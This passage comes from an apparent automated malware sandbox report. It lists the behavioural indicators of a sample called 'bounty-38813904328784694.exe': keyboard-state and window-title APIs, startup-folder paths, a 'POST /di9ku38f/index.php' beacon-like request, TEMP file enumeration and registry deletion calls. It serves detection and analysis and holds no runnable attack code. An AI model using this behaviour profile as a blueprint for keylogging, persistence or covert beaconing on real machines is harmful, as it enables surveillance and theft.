PUBLIC KEY-----" (Indicator: "public key"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found string "ECP - Invalid private or public key" (Indicator: "public key"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found string "PEM - Private key password can't be empty" (Indicator: "private key"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found string "PEM - Given private key password does not allow for correct decryption" (Indicator: "private key"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found string "PK - Private key password can't be empty" (Indicator: "private key"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found string "PK - Given private key password does not allow for correct decryption" (Indicator: "private key"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found string "PKCS12 - Given private key password does not allow for correct decryption" (Indicator: "private key"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found string "PKCS5 - Given private key password does not allow for correct decryption" (Indicator: "private key"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found string "RSA - The public key operation failed" (Indicator: "public key"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found string "RSA - The private key operation failed" (Indicator: "private key"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found string "SSL - The own private key or pre-shared key is not set, but needed" (Indicator: "private key"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found string "SSL - Public key type mismatch (eg, asked for RSA key exchange and presented EC key)" (Indicator: "public key"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found string "Invalid public key" (Indicator: "public key"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found string "Private key is not an RSA key" (Indicator: "private key"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found string "-----END RSA PRIVATE KEY-----" (Indicator: "private key"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found string "-----BEGIN RSA PRIVATE KEY-----" (Indicator: "private key"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found string "-----END EC PRIVATE KEY-----" (Indicator: "private key"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found string "-----BEGIN EC PRIVATE KEY-----" (Indicator: "private key"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found string "-----END PRIVATE KEY-----" (Indicator: "private key"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found string "-----BEGIN PRIVATE KEY-----" (Indicator: "private key"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp")4d:T486,Found reference to API "EnumWindows" (Indicator: "EnumWindows"; File: "bounty-38813904328784694") Found reference to API "GetWindowTextA" (Indicator: "GetWindowText"; File: "bounty-38813904328784694") Found reference to API "FindWindowA" (Indicator: "FindWindow"; File: "bounty-38813904328784694") Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; File: "bounty-38813904328784694") Found reference to API "GetForegroundWindow" (Indicator: "GetForegroundWindow"; File: "bounty-38813904328784694") Found reference to API "GetWindowTextW" (Indicator: "GetWindowText"; File: "bounty-38813904328784694") Found reference to API "GetWindowTextLengthW" (Indicator: "GetWindowText"; File: "bounty-38813904328784694") Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found reference to API "GetWindowTextW" (Indicator: "GetWindowText"; Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found reference to API "GetWindowTextLengthW" (Indicator: "GetWindowText"; Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp")4e:T7e0,"bounty-38813904328784694.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "ENABLEDHCP"; Value: "") "bounty-38813904328784694.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "REGISTRATIONENABLED"; Value: "") "bounty-38813904328784694.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "REGISTERADAPTERNAME"; Value: "") "bounty-38813904328784694.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DOMAIN"; Value: "") "bounty-38813904328784694.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DHCPDOMAIN"; Value: "") "bounty-38813904328784694.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "bounty-38813904328784694.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "bounty-38813904328784694.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "bounty-38813904328784694.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "bounty-38813904328784694.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "")4f:T72b,Found reference to API "FreeResource" (Indicator: "FreeResource"; File: "bounty-38813904328784694") Found reference to API "LoadResource" (Indicator: "LoadResource"; File: "bounty-38813904328784694") Found reference to API "LockResource" (Indicator: "LockResource"; File: "bounty-38813904328784694") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; File: "bounty-38813904328784694") Found reference to API "FindResourceA" (Indicator: "FindResource"; File: "bounty-38813904328784694") Found reference to API "FindResourceW" (Indicator: "FindResource"; File: "bounty-38813904328784694") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found reference to API "LockResource" (Indicator: "LockResource"; Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found reference to API "FindResourceW" (Indicator: "FindResource"; Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; Source: "00000000-00004328.00000000.294363.00460000.00000004.mdmp") Found reference to API "LockResource" (Indicator: "LockResource"; Source: "00000000-00004328.00000000.294363.00460000.00000004.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00004328.00000000.294363.00460000.00000004.mdmp") Found reference to API "FreeResource" (Indicator: "FreeResource"; Source: "00000000-00004328.00000000.294363.00460000.00000004.mdmp") Found reference to API "FindResourceA" (Indicator: "FindResource"; Source: "00000000-00004328.00000000.294363.00460000.00000004.mdmp")50:T53e,"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: "c:\programdata\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00003004.00000001.295249.003F1000.00000004.mdmp 00000000-00003004.00000001.295249.00740000.00000002.mdmp 00000000-00003004.00000002.297169.003F1000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: "c:\users\hapubws\appdata\roaming\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00003004.00000001.295249.00407000.00000004.mdmp 00000000-00003004.00000001.295249.00740000.00000002.mdmp 00000000-00003004.00000002.297169.003F1000.00000004.mdmp ":\Users\HAPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: ":\users\hapubws\appdata\roaming\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00003004.00000001.295249.00407000.00000004.mdmp 00000000-00003004.00000002.297169.003F1000.00000004.mdmp ":\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: ":\programdata\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00003004.00000001.295249.00407000.00000004.mdmp 00000000-00003004.00000002.297169.003F1000.00000004.mdmp51:T466,Found reference to API "setsockopt" (Indicator: "setsockopt"; File: "bounty-38813904328784694") Found reference to API "unable to setsockopt TCP_NODELAY: %d" (Indicator: "setsockopt"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found reference to API "setsockopt(IPV6_PROTECTION_LEVEL)" (Indicator: "setsockopt"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found reference to API "setsockopt(SO_RCVBUF)" (Indicator: "setsockopt"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found reference to API "setsockopt(SO_RCVBUF)" (Indicator: "setsockopt"; Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found reference to API "setsockopt(IPV6_PROTECTION_LEVEL)" (Indicator: "setsockopt"; Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found reference to API "unable to setsockopt TCP_NODELAY: %d" (Indicator: "setsockopt"; Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found reference to API "setsockopt" (Indicator: "setsockopt"; Source: "00000000-00004328.00000000.294363.00401000.00000020.mdmp")52:T466,Found reference to API "setsockopt" (Indicator: "setsockopt"; File: "bounty-38813904328784694") Found reference to API "unable to setsockopt TCP_NODELAY: %d" (Indicator: "setsockopt"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found reference to API "setsockopt(IPV6_PROTECTION_LEVEL)" (Indicator: "setsockopt"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found reference to API "setsockopt(SO_RCVBUF)" (Indicator: "setsockopt"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found reference to API "setsockopt(SO_RCVBUF)" (Indicator: "setsockopt"; Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found reference to API "setsockopt(IPV6_PROTECTION_LEVEL)" (Indicator: "setsockopt"; Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found reference to API "unable to setsockopt TCP_NODELAY: %d" (Indicator: "setsockopt"; Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found reference to API "setsockopt" (Indicator: "setsockopt"; Source: "00000000-00004328.00000000.294363.00401000.00000020.mdmp")53:T12aa,Found reference to API "WinHttpGetProxyForUrl" (Indicator: "WinHttpGetProxyForUrl"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found reference to API "WinHttpOpen" (Indicator: "WinHttpOpen"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found reference to API "WinHttpCreateProxyResolver" (Indicator: "WinHttpCreateProxyResolver"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found reference to API "WinHttpSetStatusCallback" (Indicator: "WinHttpSetStatusCallback"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found reference to API "WinHttpGetProxyForUrlEx" (Indicator: "WinHttpGetProxyForUrl"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found reference to API "WinHttpGetProxyForUrlEx" (Indicator: "WinHttpGetProxyForUrlEx"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found reference to API "WinHttpGetProxyForUrlEx: timed out" (Indicator: "WinHttpGetProxyForUrl"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found reference to API "WinHttpGetProxyForUrlEx: timed out" (Indicator: "WinHttpGetProxyForUrlEx"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found reference to API "WinHttpGetProxyForUrlEx callback" (Indicator: "WinHttpGetProxyForUrl"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found reference to API "WinHttpGetProxyForUrlEx callback" (Indicator: "WinHttpGetProxyForUrlEx"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found reference to API "WinHttpGetProxyResult" (Indicator: "WinHttpGetProxyResult"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found reference to API "WinHttpFreeProxyResult" (Indicator: "WinHttpFreeProxyResult"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found reference to API "WinHttpGetDefaultProxyConfiguration" (Indicator: "WinHttpGetDefaultProxyConfiguration"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found reference to API "WinHttpGetIEProxyConfigForCurrentUser" (Indicator: "WinHttpGetIEProxyConfigForCurrentUser"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found reference to API "WinHttpCloseHandle" (Indicator: "WinHttpCloseHandle"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found reference to API "WinHttpOpen" (Indicator: "WinHttpOpen"; Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found reference to API "WinHttpCloseHandle" (Indicator: "WinHttpCloseHandle"; Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found reference to API "WinHttpGetIEProxyConfigForCurrentUser" (Indicator: "WinHttpGetIEProxyConfigForCurrentUser"; Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found reference to API "WinHttpGetDefaultProxyConfiguration" (Indicator: "WinHttpGetDefaultProxyConfiguration"; Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found reference to API "WinHttpGetProxyForUrl" (Indicator: "WinHttpGetProxyForUrl"; Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found reference to API "WinHttpGetProxyForUrlEx" (Indicator: "WinHttpGetProxyForUrl"; Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found reference to API "WinHttpGetProxyForUrlEx" (Indicator: "WinHttpGetProxyForUrlEx"; Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found reference to API "WinHttpCreateProxyResolver" (Indicator: "WinHttpCreateProxyResolver"; Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found reference to API "WinHttpSetStatusCallback" (Indicator: "WinHttpSetStatusCallback"; Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found reference to API "WinHttpGetProxyResult" (Indicator: "WinHttpGetProxyResult"; Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found reference to API "WinHttpFreeProxyResult" (Indicator: "WinHttpFreeProxyResult"; Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found reference to API "WinHttpGetProxyForUrlEx callback" (Indicator: "WinHttpGetProxyForUrl"; Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found reference to API "WinHttpGetProxyForUrlEx callback" (Indicator: "WinHttpGetProxyForUrlEx"; Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found reference to API "WinHttpGetProxyForUrlEx: timed out" (Indicator: "WinHttpGetProxyForUrl"; Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found reference to API "WinHttpGetProxyForUrlEx: timed out" (Indicator: "WinHttpGetProxyForUrlEx"; Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp")54:T7d2,Found string "CONNECT %s:%d HTTP/1.1Host: %s:%dDate: %sProxy-Connection: keep-aliveUser-Agent: %sContent-Length: 0" (Indicator: "HTTP/1.1"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found string "HTTP/1.1" (Indicator: "HTTP/1.1"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found string "Issuing request "%s %s HTTP/1.1" to %s [%p]" (Indicator: "HTTP/1.1"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found string "%s %s HTTP/1.1" (Indicator: "HTTP/1.1"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found string "POST /di9ku38f/index.php HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00003004.00000000.293323.00350000.00000004.mdmp") Found string "ST /di9ku38f/index.php HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00003004.00000000.293323.00350000.00000004.mdmp, 00000000-00003004.00000001.295249.003C7000.00000004.mdmp, 00000000-00003004.00000001.295249.00407000.00000004.mdmp, 00000000-00003004.00000002.297169.003C7000.00000004.mdmp, 00000000-00003004.00000002.297169.003F1000.00000004.mdmp") Found string "HTTP/1.1 200 OK" (Indicator: "HTTP/1.1"; Source: "00000000-00003004.00000001.295249.00350000.00000004.mdmp, 00000000-00003004.00000002.297169.00350000.00000004.mdmp") Found string "9ku38f/index.php HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00003004.00000001.295249.003F1000.00000004.mdmp, 00000000-00003004.00000002.297169.003F1000.00000004.mdmp") Found string "%s %s HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found string "Issuing request "%s %s HTTP/1.1" to %s [%p]" (Indicator: "HTTP/1.1"; Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found string "HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found string "CONNECT %s:%d HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp")55:T5db,file/memory contains long string with (Indicator: "kerberos"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found string "Kerberos" (Indicator: "kerberos"; Source: "00000000-00003004.00000000.293323.00350000.00000004.mdmp, 00000000-00003004.00000001.295249.003C7000.00000004.mdmp, 00000000-00003004.00000002.297169.003C7000.00000004.mdmp") file/memory contains long string with (Indicator: "kerberos"; Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found string "e comme une correspondance. Ce mode est utile si vous utilisez Kerberos avec NIS, mais n'est pas n" (Indicator: "kerberos"; Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found string "cessaire si vous utilisez Kerberos avec LDAP." (Indicator: "kerberos"; Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found string "til cuando se utiliza Kerberos con NIS, pero no deber" (Indicator: "kerberos"; Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found string "a ser necesaria para Kerberos con LDAP." (Indicator: "kerberos"; Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found string "tzlich, wenn Kerberos zusammen mit NIS verwendet wird. F" (Indicator: "kerberos"; Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found string "r Kerberos mit LDAP sollte dies jedoch nicht erforderlich sein." (Indicator: "kerberos"; Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp")56:T7b3,Found reference to API "GetKeyboardState" (Indicator: "GetKeyboardState"; File: "bounty-38813904328784694") Found reference to API "GetKeyState" (Indicator: "GetKeyState"; File: "bounty-38813904328784694") Found reference to API "GetKeyNameTextA" (Indicator: "GetKeyNameText"; File: "bounty-38813904328784694") Found reference to API "MapVirtualKeyA" (Indicator: "MapVirtualKey"; File: "bounty-38813904328784694") Found reference to API "GetAsyncKeyState" (Indicator: "GetAsyncKeyState"; File: "bounty-38813904328784694") Found reference to API "VkKeyScanExW" (Indicator: "VkKeyScan"; File: "bounty-38813904328784694") Found reference to API "VkKeyScanExW" (Indicator: "VkKeyScanEx"; File: "bounty-38813904328784694") Found reference to API "MapVirtualKeyW" (Indicator: "MapVirtualKey"; File: "bounty-38813904328784694") Found reference to API "VkKeyScanExA" (Indicator: "VkKeyScan"; File: "bounty-38813904328784694") Found reference to API "VkKeyScanExA" (Indicator: "VkKeyScanEx"; File: "bounty-38813904328784694") Found reference to API "GetKeyState" (Indicator: "GetKeyState"; Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found reference to API "GetAsyncKeyState" (Indicator: "GetAsyncKeyState"; Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found reference to API "VkKeyScanExA" (Indicator: "VkKeyScan"; Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found reference to API "VkKeyScanExA" (Indicator: "VkKeyScanEx"; Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found reference to API "VkKeyScanExW" (Indicator: "VkKeyScan"; Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found reference to API "VkKeyScanExW" (Indicator: "VkKeyScanEx"; Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp") Found reference to API "MapVirtualKeyW" (Indicator: "MapVirtualKey"; Source: "00000000-00004244.00000000.294654.005C0000.00000002.mdmp")57:Ta76,"bounty-38813904328784694.exe" called "FindFirstFileW" with parameter %TEMP%\10734390101\*.* (UID: 00000000-00003004) "bounty-38813904328784694.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00003004) "bounty-38813904328784694.exe" called "FindNextFileW" with parameter 3e79d3cef1.exe (UID: 00000000-00003004) "3e79d3cef1.exe" called "FindFirstFileW" with parameter %TEMP%\*.* (UID: 00000000-00004328) "3e79d3cef1.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00004328) "3e79d3cef1.exe" called "FindNextFileW" with parameter 10734390101 (UID: 00000000-00004328) "3e79d3cef1.exe" called "FindNextFileW" with parameter 10D5CC3F-71C4-40D7-8173-E990C25C1412.Diagnose.Admin.0.etl (UID: 00000000-00004328) "3e79d3cef1.exe" called "FindNextFileW" with parameter 1df892bc-2ec3-4d0e-ac47-1eabbc40bce1.tmp (UID: 00000000-00004328) "3e79d3cef1.exe" called "FindNextFileW" with parameter 8578e504-fb9e-4973-8218-da2b499cb57d.tmp (UID: 00000000-00004328) "3e79d3cef1.exe" called "FindNextFileW" with parameter 99F9947D-30DB-4640-92C7-6BB2A24B05F1.Diagnose.Admin.0.etl (UID: 00000000-00004328) "3e79d3cef1.exe" called "FindNextFileW" with parameter a881a3c9-dc11-47c4-9cf5-94257bfac790.tmp (UID: 00000000-00004328) "3e79d3cef1.exe" called "FindNextFileW" with parameter AA7D7BE8-CE8F-4570-A39C-1992F0466AAE.Diagnose.Admin.0.etl (UID: 00000000-00004328) "3e79d3cef1.exe" called "FindNextFileW" with parameter AdobeARM.log (UID: 00000000-00004328) "3e79d3cef1.exe" called "FindNextFileW" with parameter AdobeARM_NotLocked.log (UID: 00000000-00004328) "3e79d3cef1.exe" called "FindNextFileW" with parameter AdobeSFX.log (UID: 00000000-00004328) "3e79d3cef1.exe" called "FindNextFileW" with parameter Adobe_ADMLogs (UID: 00000000-00004328) "3e79d3cef1.exe" called "FindNextFileW" with parameter ASPNETSetup_00001.log (UID: 00000000-00004328) "3e79d3cef1.exe" called "FindNextFileW" with parameter ASPNETSetup_00002.log (UID: 00000000-00004328) "3e79d3cef1.exe" called "FindNextFileW" with parameter c278146c-ed5a-46a3-b7ee-8da417122e54.tmp (UID: 00000000-00004328) "3e79d3cef1.exe" called "FindNextFileW" with parameter ccversion.tag (UID: 00000000-00004328) "3e79d3cef1.exe" called "FindNextFileW" with parameter chromesetup.msi (UID: 00000000-00004328) "3e79d3cef1.exe" called "FindNextFileW" with parameter chrome_installer.log (UID: 00000000-00004328) "3e79d3cef1.exe" called "FindNextFileW" with parameter CVR640E.tmp.cvr (UID: 00000000-00004328) "3e79d3cef1.exe" called "FindNextFileW" with parameter CVR78E9.tmp.cvr (UID: 00000000-00004328) "3e79d3cef1.exe" called "FindNextFileW" with parameter CVRC166.tmp.cvr (UID: 00000000-00004328)58:Tfb7,Found string "password" (Indicator: "password"; File: "00000000-00004328.00000000.294363.00401000.00000020.mdmp") Found string "http_proxyconfigparam_param_proxypassword" (Indicator: "password"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found string "The password to use to authenticate to a proxy server." (Indicator: "password"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found string "To connect to Apple Remote Desktop (10.4) or Screen Sharing/Remote Management (10.5 onwards) built-in to Mac OS X, turn on the 'VNC viewers may control screen with password' option." (Indicator: "password"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found string "svr_sauthentication_mac_password" (Indicator: "password"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found string "svr_sauthentication_unix_password" (Indicator: "password"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found string "svr_sauthentication_vnc_password" (Indicator: "password"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found string "svr_sauthentication_windows_password" (Indicator: "password"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found string "Obfuscated binary password for guest access." (Indicator: "password"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found string "The authentication scheme(s) to offer for incoming connections (SingleSignOn | SystemAuth | VncAuth), or None to turn off password protection (direct connections only, and not recommended)." (Indicator: "password"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found string "Obfuscated binary encoding of the password that VNC Viewer users must supply in order to authenticate to VNC Server." (Indicator: "password"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found string "Obfuscated binary password for admin user." (Indicator: "password"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found string "Obfuscated binary password for input-only user." (Indicator: "password"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found string "Obfuscated binary password for view-only user." (Indicator: "password"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found string "Forgot password?" (Indicator: "password"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found string "licWiz_page_forgot_password_link" (Indicator: "password"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found string "licWiz_page_password_edit" (Indicator: "password"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found string "Confirm password" (Indicator: "password"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found string "licWiz_specify_password_confirm" (Indicator: "password"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found string "You must specify a password to prevent unauthorized remote access to this computer." (Indicator: "password"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found string "licWiz_specify_password_desc1" (Indicator: "password"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found string "This password should have a minimum of 6 characters and be difficult to guess. It should not be the same as your RealVNC account password." (Indicator: "password"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found string "licWiz_specify_password_desc2" (Indicator: "password"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found string "Specify VNC password" (Indicator: "password"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp") Found string "licWiz_specify_password_header" (Indicator: "password"; File: "00000000-00004244.00000000.294654.003E1000.00000020.mdmp")59:T540,Found registry deletion API: "RegDeleteValueW" in file "bounty-38813904328784694" Found registry deletion API: "RegDeleteKeyW" in file "bounty-38813904328784694" Found registry deletion API: "RegDeleteValue" in file "00000000-00004244.00000000.294654.003E1000.00000020.mdmp" Found registry deletion API: "RegDeleteKeyEx not available and view is not default" in file "00000000-00004244.00000000.294654.003E1000.00000020.mdmp" Found registry deletion API: "RegDeleteKey" in file "00000000-00004244.00000000.294654.003E1000.00000020.mdmp" Found registry deletion API: "RegDeleteKeyEx" in file "00000000-00004244.00000000.294654.003E1000.00000020.mdmp" Found registry deletion API: "RegDeleteKeyEx" in "00000000-00004244.00000000.294654.005C0000.00000002.mdmp" Found registry deletion API: "RegDeleteValue" in "00000000-00004244.00000000.294654.005C0000.00000002.mdmp" Found registry deletion API: "RegDeleteKey" in "00000000-00004244.00000000.294654.005C0000.00000002.mdmp" Found registry deletion API: "RegDeleteKeyEx not available and view is not default" in "00000000-00004244.00000000.294654.005C0000.00000002.mdmp" Found registry deletion API: "RegDeleteValueW" in "00000000-00004244.00000000.294654.005C0000.00000002.mdmp" Found registry deletion API: "RegDeleteKeyW" in "00000000-00004244.00000000.294654.005C0000.00000002.mdmp"5a:T7ba,Observed string: "shutdown" (Indicator: "shutdown") in Source: bounty-38813904328784694 Observed string: "shutdown complete %p (fd=%d)" (Indicator: "shutdown ") in Source: 10439-3019-0055E270 Observed string: "shutdown %p (fd=%d), flush %s (tellHandler %s)" (Indicator: "shutdown ") in Source: 10439-3020-0055E0F0 Observed string: "shutdown completed by FdManager dtor %p (fd=%d)" (Indicator: "shutdown ") in Source: 10439-3023-0055DCB0 Observed string: "shutdown %p, flush %d (tellHandler %d)" (Indicator: "shutdown ") in Source: 10439-3453-005526F0 Observed string: "shutdown complete %p" (Indicator: "shutdown ") in Source: 10439-14379-00552A50 Observed string: "shutdown completed" (Indicator: "shutdown ") in Source: 10439-14394-00563630 Observed string: "Shutdown error: %s" (Indicator: "shutdown ") in Source: 10439-15581-0044844B Observed string: "Shutdown error: %s" (Indicator: "shutdown ") in Source: 